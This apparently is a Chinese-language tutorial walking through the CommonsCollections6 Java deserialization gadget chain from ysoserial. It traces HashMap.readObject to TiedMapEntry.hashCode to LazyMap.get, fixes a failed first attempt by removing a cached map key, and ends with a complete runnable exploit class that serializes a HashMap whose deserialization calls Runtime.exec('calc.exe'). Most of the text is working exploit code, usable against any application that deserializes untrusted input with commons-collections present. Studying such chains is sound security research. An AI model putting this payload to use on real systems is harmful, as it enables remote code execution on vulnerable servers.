CommonsCollections6

CommonsCollections1这个利用链只能在Java 8u71之前使用。

在ysoserial中，CommonsCollections6可以说是commons-collections这个库中相对⽐较通⽤的利⽤链，为了解决⾼版本Java的利⽤问题，我们先来看看这个利⽤链的简化利用版

/*
 Gadget chain:
 java.io.ObjectInputStream.readObject()
 java.util.HashMap.readObject()
 java.util.HashMap.hash()
 
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
 
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()
 
org.apache.commons.collections.functors.ChainedTransformer.transform()
 
org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()
*/

我们需要看的主要是从最开始到 org.apache.commons.collections.map.LazyMap.get() 的那⼀部 分，因为 LazyMap#get 后⾯的部分在上⼀篇⽂章⾥已经说了。所以简单来说，解决Java⾼版本利⽤问题，实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get() 的地⽅。

我们找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry ，在其getValue⽅法中调⽤了 this.map.get ，⽽其hashCode⽅法调⽤了getValue⽅法：

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.commons.collections.keyvalue;

import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;

public class TiedMapEntry implements Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return this.key;
    }

    public Object getValue() {
        return this.map.get(this.key);
    }

    public Object setValue(Object value) {
        if (value == this) {
            throw new IllegalArgumentException("Cannot set value to this map entry");
        } else {
            return this.map.put(this.key, value);
        }
    }

    public boolean equals(Object obj) {
        if (obj == this) {
            return true;
        } else if (!(obj instanceof Entry)) {
            return false;
        } else {
            Entry other = (Entry)obj;
            Object value = this.getValue();
            return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
        }
    }

    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }
}

所以，欲触发LazyMap利⽤链，要找到就是哪⾥调⽤了 TiedMapEntry#hashCode 。

ysoserial中，是利⽤ java.util.HashSet#readObject 到 HashMap#put() 到 HashMap#hash(key) 最后到 TiedMapEntry#hashCode() 。

来看一下HashMap里的方法

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

在HashMap的readObject方法中，调用了hash方法，hash方法中又调用了hashCode方法。

所以其实可以去掉前面两次调用，直接使用HashMap#readObject()到HashMap#hash(key) 最后到 TiedMapEntry#hashCode() 。

构造Gadget代码

为了防止本地混淆，于是使用了fakeTransformers

        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

这段代码即为恶意LazyMap，现在拿到了一个恶意的LazyMap对象outerMap，将其作为TiedMapEntry的map属性

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey")

接着，为了调⽤ TiedMapEntry#hashCode() ，我们需要将 tme 对象作为 HashMap 的⼀个key。注意， 这⾥我们需要新建⼀个HashMap，⽽不是⽤之前LazyMap利⽤链⾥的那个HashMap，两者没任何关系

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

然后我们就可以将这个expMap作为对象来序列化了

// ==================
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

但是发现没有弹出计算器。

为什么我们构造的Gadget没有成功执行命令？

我们来跟一下

发现这里的关键的没进去。

原因是现在map里是有值的

那么需要给他处理一下。

之前我们在这个地方设置过keykey，导致了无法进去。

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

解决方案

解决方法就是再把它移掉就好了

outerMap.remove("keykey");

成功触发反序列化exp:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new
                        Object[] { "getRuntime",

                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new
                        Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { "calc.exe" }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
//        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
//        construct.setAccessible(true);
//        InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
//        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
//        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();


        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}